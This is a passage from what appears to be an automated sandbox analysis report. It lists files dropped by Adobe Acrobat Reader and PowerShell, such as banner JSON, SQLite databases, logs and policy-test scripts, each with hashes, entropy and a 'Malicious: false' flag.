Preview:	{"analyticsData":{"responseGUID":"842ca527-07e2-457d-b564-a807b1c58e0e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736741711119,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2925420355448685
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPdHVoZcg1vRcR0YtqoAvJfFldPeUkwRe9:YvXKXF2Zc0vcZGz8Ukee9
MD5:	D748BCF69D4C0F158289B0E67B24F7A6
SHA1:	A6B2E30AFC3A2D6517499F1B7B343BE5D1F6E6C9
SHA-256:	2BC7019348CCA98C469C5081250EA53CF8E99BC4C4FCBDFC51F324911BAB812A
SHA-512:	0F1064BE1FADC9C3FC40E30715101A0F249D0CDF69443360E119B2AD4D83A9518E3CE912856D609E864903A4AB379E8A928478ACE5AE2D1EE773F960FFA32885
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"842ca527-07e2-457d-b564-a807b1c58e0e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736741711119,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.307842436461443
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPdHVoZcg1vRcR0YtqoAvJfzdPeUkwRe9:YvXKXF2Zc0vcZGb8Ukee9
MD5:	9769088736CA071A0F91B510C83EA9E4
SHA1:	971CF24155CD1C9547B0D007B9F7C12A2C16E67A
SHA-256:	C3B6B94E181CEB9E4A1501B0A46BBD733450904AAC826012DE20DACBF20FF637
SHA-512:	AFEA78AEC6A519A5CCEE271EAC2DDEB3A1F3632043A8037C6C9F7EA7643C7F65ACEEC53D1EDBBAA46C43643F23EB912047C50D2126927D1DFA593B17F1BA924B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"842ca527-07e2-457d-b564-a807b1c58e0e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736741711119,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.288246985094151
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPdHVoZcg1vRcR0YtqoAvJfYdPeUkwRe9:YvXKXF2Zc0vcZGg8Ukee9
MD5:	09FBDE95B4B98FA048D8730CAB1871C5
SHA1:	1EC2E0BED28DE6D4EDCDB8D7FA9180C8AFBCE227
SHA-256:	37C15E2CBB4EE4A67CD35FB6DFBEEA06F0E783932956F920FB24FA12F2D6C0E7
SHA-512:	98EE2932D4460E95C7FD155CB7CAA501C3B96A665CDF93173575BA6EDF85DE347151A835DF9919C7BDDE590FF675240D379E679EE905BD276AEB935F4930A0E0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"842ca527-07e2-457d-b564-a807b1c58e0e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736741711119,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.274671792260974
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPdHVoZcg1vRcR0YtqoAvJf+dPeUkwRe9:YvXKXF2Zc0vcZG28Ukee9
MD5:	04D1C82CA26CDC8DA757470A1E4DA9AB
SHA1:	C0062BF1FC8702D96968B4DEB8962E52985F6BE9
SHA-256:	3E6495EE855FD91B7FCC9EAA453264FF0B67B0407F64A0B51CBA3FAB4F9DB613
SHA-512:	91FB77D7586FF236788D6A8B894F7C18A9B4EF7313483CE00F3482D9D94AAF49B9BD0C29200C9381C4DDB968B7DDB173684076A2220752AE3833FC2542BC51A0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"842ca527-07e2-457d-b564-a807b1c58e0e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736741711119,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.271874859502764
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPdHVoZcg1vRcR0YtqoAvJfbPtdPeUkwRe9:YvXKXF2Zc0vcZGDV8Ukee9
MD5:	F655A325CACEA9329B3D84CC2CC67BB3
SHA1:	6B322FCBC4E2E38B832B56303AF21E848C2D61F5
SHA-256:	91739AC85068B16B7F84B4FB637A066B393292E452FB3A02AB0858214250C03A
SHA-512:	030B1A3ACD8F8B9480B730354FE646CD3A5A5792A20A16C72818BD30EBC3D4C39E728931EF44947A5AB05F9BC8E35FDB5070427BBB01B9135CD0B2EFC11EFC98
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"842ca527-07e2-457d-b564-a807b1c58e0e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736741711119,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.276363632861342
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPdHVoZcg1vRcR0YtqoAvJf21rPeUkwRe9:YvXKXF2Zc0vcZG+16Ukee9
MD5:	DA9A5A11EAC69A24493C0E225AB644ED
SHA1:	D35FE364185E9B8DE57A31983A177004FC907DB4
SHA-256:	43C71DA294A33C9D8FDF580362FC63A3839AC55D7653B47FEA3241EB791EFBB3
SHA-512:	8797CA932585FC13263E3067EC968F2F8F6759FAD70E1443005F174F453A973EF1FFBDD10D4A335F31E05CAFB52DE3571EAD10447AB17E479CF1B75E498E45C1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"842ca527-07e2-457d-b564-a807b1c58e0e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736741711119,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.666327248844317
Encrypted:	false
SSDEEP:	24:Yv6XYzvpamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSS:YvvdBgkDMUJUAh8cvMS
MD5:	6435882630D43776B4CC0A54852DFA9F
SHA1:	61C77F709D016AC500CC2F0AD13E4A94788C0FD0
SHA-256:	EF65E4CAAFF08F1364217E73BA5B41671E30B7ED5744E48E628131EC0F55EDF7
SHA-512:	F7B8D4239D4E6B187FD9F6F3D97BE5822E57E5304BA466DC0415ACAAF1E3F70B211258C0C628D230E087861681037A3C0B92B42775C0E2E4189387F73AD6FDC3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"842ca527-07e2-457d-b564-a807b1c58e0e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736741711119,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2532596996207666
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPdHVoZcg1vRcR0YtqoAvJfshHHrPeUkwRe9:YvXKXF2Zc0vcZGUUUkee9
MD5:	FA74DAC356CE6765E6EA7D7B09F46743
SHA1:	C316BCBB7CA6511F8331A6AAC82B1C80AFB1EE49
SHA-256:	BF84A533B549712B89FB960AF25995943F29C6DB7425287CA6C4C146157AE7B9
SHA-512:	C8470A7F1DE70BD5E47EC21A8A92D0F592564FBB180E3AC9E57DA187709C05EC01D0FB68358B5A749FABFF10B4E82EA664CB6B0BFCC15ADB6B5583B6DDC42B73
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"842ca527-07e2-457d-b564-a807b1c58e0e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736741711119,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.261756961973349
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPdHVoZcg1vRcR0YtqoAvJTqgFCrPeUkwRe9:YvXKXF2Zc0vcZGTq16Ukee9
MD5:	4035890B4A2631236F1D53C94BC23DBB
SHA1:	7589F0FA9E4DA2DE96A4F4258386DAC6E0629C66
SHA-256:	DD7A32FE293C504A5A4962440CEBF7C56B88AF1F1F1754E996F6588878F47E20
SHA-512:	717DF83C2A9283B153F049289F58454BCA1FFECE532DFADE7DB9755332556414C9400D1AFCE9259BF7A10B5F28AFF479ED6771B91DCF464ADCC760BE1C310106
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"842ca527-07e2-457d-b564-a807b1c58e0e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736741711119,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.133472683509506
Encrypted:	false
SSDEEP:	48:YxpHmrf3H36tZ9ZAYPFTcqW3PGPXFzM9Nb:2pHmrf3H36tvZAYIGvkl
MD5:	95369ABD4565BC24FA0E63D3AED739D2
SHA1:	056EEAFE55D923AD391801943BE15962855E3653
SHA-256:	873807B6C69368B2E7E7B93645A88A759D4887267CACE60A963470B4F6BF86AF
SHA-512:	43634AFCAAF6C134890C0B53B3E97F6A0F26BE8BCC38BE0F45B6BCFFE6D46DD83FC1217FEE91CE301B4A90D2D9EB2CFA12D387DF1F8FB4F9A93FF223F716A45F
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"ebebd42745e4bc62fdc972f3df4d3bdf","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736563330000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"af27407c2253f67d2c8b08834642d185","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736563330000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"507990443d5a09f2b7b87c8b8be94792","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736563330000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"274a021a886d8639adc6e12e57635569","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736563330000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"f2d4331f97cee0355cfac5fc2b03d1ee","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736563330000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"e35a9dc368c78802a4f658f6853c0f89","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.188706522907928
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUnJSvR9H9vxFGiDIAEkGVvp7t:lNVmswUUUUUUUUJ+FGSItt
MD5:	3FC42125F78457EE7C08B520B4072A4B
SHA1:	D172C254C0B3CAF24A579F0C04BF193A5BA88921
SHA-256:	5D6541F1EBC0CF19B0E2BCE6E84FFFA49EC1F13E9D22C3AB4C9784B29A0B572D
SHA-512:	0BB591C0CDE1C2096F797E83583104BF03E388C23C6DC5A1350346E24B9E17CA156FE71C5874C6AF4F142698AD45A79936BD3562DE5BC69E26F0C8E968ADB9B8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.608056112997508
Encrypted:	false
SSDEEP:	48:7MwKUUUUUUUUUUnhvR9H9vxFGiDIAEkGVvAqFl2GL7msh:7YUUUUUUUUUUFFGSItyKVmsh
MD5:	BA34971683C514415D887696D3E522EA
SHA1:	0BCDD8ECF0AEC9A6396EB4FEA9AA16340BA571DA
SHA-256:	FE25860044D3A0DDA1E9B03A197C2CC15C7510B7921423B6872B55258360871D
SHA-512:	BCE22A09FF74F129A49E1B4792CD87169251A4B26F0C1181F29B6F375F19E034F78B0A109FE978FD34E6E5965DE62A6285E6B17DBE4068BA8842D41EFAF75694
Malicious:	false
Preview:	.... .c.....'.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgdhGGGJT7OCbsxQpCQsY4GnNWYyu:6a6TZ44ADEdhvGJT7OCOGNWK
MD5:	3C3A9559A02CA1226E94214A01931899
SHA1:	2942628C731CF6C4D94AD1474EA389F94376617C
SHA-256:	DFBFF44726C2A3254D9DA6DAEAE920F614C92CF1EC70275C91CB514D928D4FFD
SHA-512:	989112450CF1F5AB7AB01425A8336704C760A0FA173A7819BF9D4DD8AA9722A1CD0BD7ED04459926B4FE3DA9A7DBCFFB7B613E46202955AAB76CC8BD587AADCD
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nllluldhz/lL:NllU
MD5:	03744CE5681CB7F5E53A02F19FA22067
SHA1:	234FB09010F6714453C83795D8CF3250D871D4DF
SHA-256:	88348573B57BA21639837E3AF19A00B4D7889E2D8E90A923151AC022D2946E5D
SHA-512:	0C05D6047DBA2286F8F72EB69A69919DC5650F96E8EE759BA9B3FC10BE793F3A88408457E700936BCACA02816CE25DD53F48B962491E7F4F0A4A534D88A855E6
Malicious:	false
Preview:	@...e.................................L..............@..........

C:\Users\user\AppData\Local\Temp\MSI70016.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5046637269111454
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClsAlww:Qw946cPbiOxDlbYnuRK+bc
MD5:	1C4F6908C1C713D0965DD3D116818261
SHA1:	BC66F445480C447E5D8FFE260E9E7EA17C4B74C6
SHA-256:	89E0FD1387BFA7C5E628B6949E0D5C27B3C2EBF98F34E952B8D9D2B41FEDE48F
SHA-512:	6C72DA9299ED61F007CB630445C395E00F154497E6BC5340329086D10C3B3258480DEAC06FAD520F1EDF727F7EB3F770D7DEDEA496A172E229B0A09AB4AB2AD0
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.1.:.4.2.:.0.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_andkiq1c.51z.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rdzjsunp.y2r.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9i76b5x_j42ynu_14k.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 21-42-04-067.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3752589927017524
Encrypted:	false
SSDEEP:	384:lsbOTfCC6mVNIf+kT+1/B0aqS1eS7woiNWk46yizY/fQ6OAAwfDvydTCLZjbo9t+:r9T
MD5:	8D5B12DC326EF3A7D9B55676C98B7D58
SHA1:	6EC3F36CCACCDBAA2BE6B799FF10CAB89BA39277
SHA-256:	67655B0019BEF3606301DAC0834EA4C8ED5BF0BE77C4791602F3C214416F5908
SHA-512:	E99444FD8B28F0F1F1BFD8F5C4D41F669F675A2870A7F0D6924150FC1300D8E939E4CCF8F2CC14E62C58DCC67DC94719028CBBB9FC4B080028A1219B19638C30
Malicious:	false
Preview:	SessionID=93de3fbc-8fff-4e8b-add3-41774667f267.1736563324082 Timestamp=2025-01-10T21:42:04:082-0500 ThreadID=7884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=93de3fbc-8fff-4e8b-add3-41774667f267.1736563324082 Timestamp=2025-01-10T21:42:04:083-0500 ThreadID=7884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=93de3fbc-8fff-4e8b-add3-41774667f267.1736563324082 Timestamp=2025-01-10T21:42:04:084-0500 ThreadID=7884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=93de3fbc-8fff-4e8b-add3-41774667f267.1736563324082 Timestamp=2025-01-10T21:42:04:084-0500 ThreadID=7884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=93de3fbc-8fff-4e8b-add3-41774667f267.1736563324082 Timestamp=2025-01-10T21:42:04:084-0500 ThreadID=7884 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

